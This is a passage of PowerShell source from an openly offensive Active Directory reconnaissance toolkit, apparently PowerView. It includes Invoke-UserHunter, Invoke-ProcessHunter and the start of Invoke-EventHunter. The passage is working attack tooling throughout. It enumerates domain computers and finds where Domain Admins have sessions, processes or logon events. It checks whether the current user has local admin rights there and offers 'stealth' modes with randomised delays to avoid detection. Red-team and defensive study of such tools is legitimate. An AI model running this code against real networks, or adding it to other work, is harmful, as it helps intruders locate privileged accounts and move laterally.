@("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + + # Add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach($Var in $MyVars) { + if($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # Add Functions from current runspace to the InitialSessionState + ForEach($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + $Jobs = @() + $PS = @() + $Wait = @() + + $Counter = 0 + } + + process { + + ForEach ($Computer in $ComputerName) { + + # make sure we get a server name + if ($Computer -ne '') { + # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" + + While ($($Pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -MilliSeconds 500 + } + + # create a "powershell pipeline runner" + $PS += [powershell]::create() + + $PS[$Counter].runspacepool = $Pool + + # add the script block + arguments + $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) + if($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + } + } + + # start job + $Jobs += $PS[$Counter].BeginInvoke(); + + # store wait handles for WaitForAll call + $Wait += $Jobs[$Counter].AsyncWaitHandle + } + $Counter = $Counter + 1 + } + } + + end { + + Write-Verbose "Waiting for scanning threads to finish..." + + $WaitTimeout = Get-Date + + # set a 60 second timeout for the scanning threads + while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { + Start-Sleep -MilliSeconds 500 + } + + # end async call + for ($y = 0; $y -lt $Counter; $y++) { + + try { + # complete async job + $PS[$y].EndInvoke($Jobs[$y]) + + } catch { + Write-Warning "error: $_" + } + finally { + $PS[$y].Dispose() + } + } + + $Pool.Dispose() + Write-Verbose "All threads completed!" + } +} + + +function Invoke-UserHunter { +<# + .SYNOPSIS + + Finds which machines users of a specified group are logged into. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for users of a specified group (default "domain admins") + with Get-NetGroupMember or reads in a target user list, queries the domain for all + active machines with Get-NetComputer or reads in a pre-populated host list, + randomly shuffles the target list, then for each server it gets a list of + active users with Get-NetSession/Get-NetLoggedon. The found user list is compared + against the target list, and a status message is displayed for any hits. + The flag -CheckAccess will check each positive host to see if the current + user has local admin access to the machine. + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Only enumerate computers that have unconstrained delegation. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER AdminCount + + Switch. Hunt for users with adminCount=1. + + .PARAMETER AllowDelegation + + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + + .PARAMETER StopOnSuccess + + Switch. Stop hunting after finding after finding a target user. + + .PARAMETER NoPing + + Don't ping each host to ensure it's up before enumerating. + + .PARAMETER CheckAccess + + Switch. Check if the current user has local admin access to found machines. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results, i.e. Invoke-UserView functionality. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Stealth + + Switch. Only enumerate sessions from connonly used target servers. + + .PARAMETER StealthSource + + The source of target servers to use, 'DFS' (distributed file servers), + 'DC' (domain controllers), 'File' (file servers), or 'All' + + .PARAMETER ForeignUsers + + Switch. Only return results that are not part of searched domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -CheckAccess + + Finds machines on the local domain where domain admins are logged into + and checks if the current user has local administrator access. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins are logged into. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Threads 20 + + Multi-threaded user hunting, replaces Invoke-UserHunterThreaded. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt are logged in + or have sessions. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups are + logged into with a 60 second (+/- *.3) randomized delay between + touching each host. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -TargetServer FILESERVER + + Query FILESERVER for useres who are effective local administrators using + Get-NetLocalGroup -Recurse, and hunt for that user set on the network. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -SearchForest + + Find all machines in the current forest where domain admins are logged in. + + .EXAMPLE + + PS C:\> Invoke-UserHunter -Stealth + + Executes old Invoke-StealthUserHunter functionality, enumerating commonly + used servers and checking just sessions for each. + + .LINK + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $Unconstrained, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $AdminCount, + + [Switch] + $AllowDelegation, + + [Switch] + $CheckAccess, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [Switch] + $Stealth, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All", + + [Switch] + $ForeignUsers, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + [Array]$ComputerName = @() + + if($ComputerFile) { + # if we're using a host list, read the targets in and add them to the target list + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($Stealth) { + Write-Verbose "Stealth mode! Enumerating commonly used servers" + Write-Verbose "Stealth source: $StealthSource" + + ForEach ($Domain in $TargetDomains) { + if (($StealthSource -eq "File") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for File Servers..." + $ComputerName += Get-NetFileServer -Domain $Domain -DomainController $DomainController + } + if (($StealthSource -eq "DFS") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for DFS Servers..." + $ComputerName += Get-DFSshare -Domain $Domain -DomainController $DomainController | ForEach-Object {$_.RemoteServerName} + } + if (($StealthSource -eq "DC") -or ($StealthSource -eq "All")) { + Write-Verbose "[*] Querying domain $Domain for Domain Controllers..." + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $ADSpath + 'Filter' = $ComputerFilter + 'Unconstrained' = $Unconstrained + } + + $ComputerName += Get-NetComputer @Arguments + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # get the current user so we can ignore it in the results + $CurrentUser = ([Environment]::UserName).toLower() + + # if we're showing all results, skip username enumeration + if($ShowAll -or $ForeignUsers) { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Null + $User | Add-Member Noteproperty 'MemberName' '*' + $TargetUsers = @($User) + + if($ForeignUsers) { + # if we're searching for user results not in the primary domain + $krbtgtName = Convert-CanonicaltoNT4 -ObjectName "krbtgt@$($Domain)" + $DomainShortName = $krbtgtName.split("\")[0] + } + } + # if we want to hunt for the effective domain users who can access a target server + elseif($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' ($_.AccountName).split("/")[0].toLower() + $User | Add-Member Noteproperty 'MemberName' ($_.AccountName).split("/")[1].toLower() + $User + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + $User | Add-Member Noteproperty 'MemberName' $UserName.ToLower() + $TargetUsers = @($User) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $TargetDomains[0] + $User | Add-Member Noteproperty 'MemberName' $_ + $User + } | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter -or $AdminCount) { + ForEach ($Domain in $TargetDomains) { + + $Arguments = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'ADSpath' = $UserADSpath + 'Filter' = $UserFilter + 'AdminCount' = $AdminCount + 'AllowDelegation' = $AllowDelegation + } + + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser @Arguments | ForEach-Object { + $User = New-Object PSObject + $User | Add-Member Noteproperty 'MemberDomain' $Domain + $User | Add-Member Noteproperty 'MemberName' $_.samaccountname + $User + } | Where-Object {$_} + + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController + } + } + + if (( (-not $ShowAll) -and (-not $ForeignUsers) ) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + if(!$DomainShortName) { + # if we're not searching for foreign users, check session information + $Sessions = Get-NetSession -ComputerName $ComputerName + ForEach ($Session in $Sessions) { + $UserName = $Session.sesi10_username + $CName = $Session.sesi10_cname + + if($CName -and $CName.StartsWith("\\")) { + $CName = $CName.TrimStart("\") + } + + # make sure we have a result + if (($UserName) -and ($UserName.trim() -ne '') -and (!($UserName -match $CurrentUser))) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $IP = Get-IPAddress -ComputerName $ComputerName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $_.MemberDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'SessionFrom' $CName + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser + } + } + } + } + if(!$Stealth) { + # if we're not 'stealthy', enumerate loggedon users as well + $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName + ForEach ($User in $LoggedOn) { + $UserName = $User.wkui1_username + # TODO: translate domain to authoratative name + # then match domain name ? + $UserDomain = $User.wkui1_logon_domain + + # make sure wet have a result + if (($UserName) -and ($UserName.trim() -ne '')) { + + $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { + + $Proceed = $True + if($DomainShortName) { + if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { + $Proceed = $True + } + else { + $Proceed = $False + } + } + if($Proceed) { + $IP = Get-IPAddress -ComputerName $ComputerName + $FoundUser = New-Object PSObject + $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $FoundUser | Add-Member Noteproperty 'UserName' $UserName + $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName + $FoundUser | Add-Member Noteproperty 'IP' $IP + $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null + + # see if we're checking to see if we have local admin access on this machine + if ($CheckAccess) { + $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin + } + else { + $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null + } + $FoundUser + } + } + } + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'TargetUsers' = $TargetUsers + 'CurrentUser' = $CurrentUser + 'Stealth' = $Stealth + 'DomainShortName' = $DomainShortName + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName + $Result + + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user found, returning early" + return + } + } + } + + } +} + + +function Invoke-StealthUserHunter { + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [Switch] + $CheckAccess, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [String] + [ValidateSet("DFS","DC","File","All")] + $StealthSource ="All" + ) + # kick off Invoke-UserHunter with stealth options + Invoke-UserHunter -Stealth @PSBoundParameters +} + + +function Invoke-ProcessHunter { +<# + .SYNOPSIS + + Query the process lists of remote machines, searching for + processes with a specific name or owned by a specific user. + Thanks to @paulbrandau for the approach idea. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ProcessName + + The name of the process to hunt, or a comma separated list of names. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER RemoteUserName + + The "domain\username" to use for the WMI call on a remote system. + If supplied, 'RemotePassword' must be supplied as well. + + .PARAMETER RemotePassword + + The password to use for the WMI call on a remote system. + + .PARAMETER StopOnSuccess + + Switch. Stop hunting after finding after finding a target user/process. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ShowAll + + Switch. Return all user location results. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -Domain 'testing' + + Finds machines on the 'testing' domain where domain admins have a + running process. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -Threads 20 + + Multi-threaded process hunting, replaces Invoke-ProcessHunterThreaded. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -UserFile users.txt -ComputerFile hosts.txt + + Finds machines in hosts.txt where any members of users.txt have running + processes. + + .EXAMPLE + + PS C:\> Invoke-ProcessHunter -GroupName "Power Users" -Delay 60 + + Find machines on the domain where members of the "Power Users" groups have + running processes with a 60 second (+/- *.3) randomized delay between + touching each host. + + .LINK + + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $ProcessName, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [String] + $RemoteUserName, + + [String] + $RemotePassword, + + [Switch] + $StopOnSuccess, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ShowAll, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-ProcessHunter with delay of $Delay" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + if(!$ProcessName) { + Write-Verbose "No process name specified, building a target user set" + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and $_.IsDomain } | ForEach-Object { + ($_.AccountName).split("/")[1].toLower() + } | Where-Object {$_} + } + # if we get a specific username, only use that + elseif($UserName) { + Write-Verbose "[*] Using target user '$UserName'..." + $TargetUsers = @( $UserName.ToLower() ) + } + # read in a target user list if we have one + elseif($UserFile) { + $TargetUsers = Get-Content -Path $UserFile | Where-Object {$_} + } + elseif($UserADSpath -or $UserFilter) { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users" + $TargetUsers += Get-NetUser -Domain $Domain -DomainController $DomainController -ADSpath $UserADSpath -Filter $UserFilter | ForEach-Object { + $_.samaccountname + } | Where-Object {$_} + } + } + else { + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for users of group '$GroupName'" + $TargetUsers += Get-NetGroupMember -GroupName $GroupName -Domain $Domain -DomainController $DomainController| Foreach-Object { + $_.MemberName + } + } + } + + if ((-not $ShowAll) -and ((!$TargetUsers) -or ($TargetUsers.Count -eq 0))) { + throw "[!] No users found to search for!" + } + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if($RemoteUserName -and $RemotePassword) { + $Processes = Get-NetProcess -RemoteUserName $RemoteUserName -RemotePassword $RemotePassword -ComputerName $ComputerName -ErrorAction SilentlyContinue + } + else { + $Processes = Get-NetProcess -ComputerName $ComputerName -ErrorAction SilentlyContinue + } + + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if($ProcessName) { + $ProcessName.split(",") | ForEach-Object { + if ($Process.ProcessName -match $_) { + $Process + } + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -contains $Process.User) { + $Process + } + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'ProcessName' = $ProcessName + 'TargetUsers' = $TargetUsers + 'RemoteUserName' = $RemoteUserName + 'RemotePassword' = $RemotePassword + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $ProcessName, $TargetUsers, $RemoteUserName, $RemotePassword + $Result + + if($Result -and $StopOnSuccess) { + Write-Verbose "[*] Target user/process found, returning early" + return + } + } + } + + } +} + + +function Invoke-EventHunter { +<# + .SYNOPSIS + + Queries all domain controllers on the network for account + logon events (ID 4624) and TGT request events (ID 4768), + searching for target users. + + Note: Domain Admin (or equiv) rights are needed to query + this information from the DCs. + + Author: @sixdub, @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER UserADSpath + + The LDAP source to search through for users, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER UserFile + + File of usernames to search for. + + .PARAMETER NoPing + + Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + Domain for query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchDays + + Number of days back to search logs for. Default 3. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-EventHunter + + .LINK + + http://blog.harmj0y.net +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [String] + $GroupName = 'Domain Admins', + + [String] + $TargetServer, + + [String] + $UserName, + + [String] + $UserFilter, + + [String] + $UserADSpath, + + [ValidateScript({Test-Path -Path $_ })] + [String] + $UserFile, + + [String] + $Domain, + + [String] + $DomainController, + + [Int32] + $SearchDays = 3, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-EventHunter" + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + ##################################################### + # + # First we build the host target set + # + ##################################################### + + if(!$ComputerName) { + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + elseif($ComputerFilter -or $ComputerADSpath) { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Domain $Domain -DomainController $DomainController -Filter $ComputerFilter -ADSpath $ComputerADSpath + } + } + else { + # if a computer specifier isn't given, try to enumerate all domain controllers + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for domain controllers" + $ComputerName += Get-NetDomainController -LDAP -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.dnshostname} + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + ##################################################### + # + # Now we build the user target set + # + ##################################################### + + # users we're going to be searching for + $TargetUsers = @() + + # if we want to hunt for the effective domain users who can access a target server + if($TargetServer) { + Write-Verbose "Querying target server '$TargetServer' for local users" + $TargetUsers = Get-NetLocalGroup $TargetServer -Recurse | Where-Object {(-not $_.IsGroup) -and 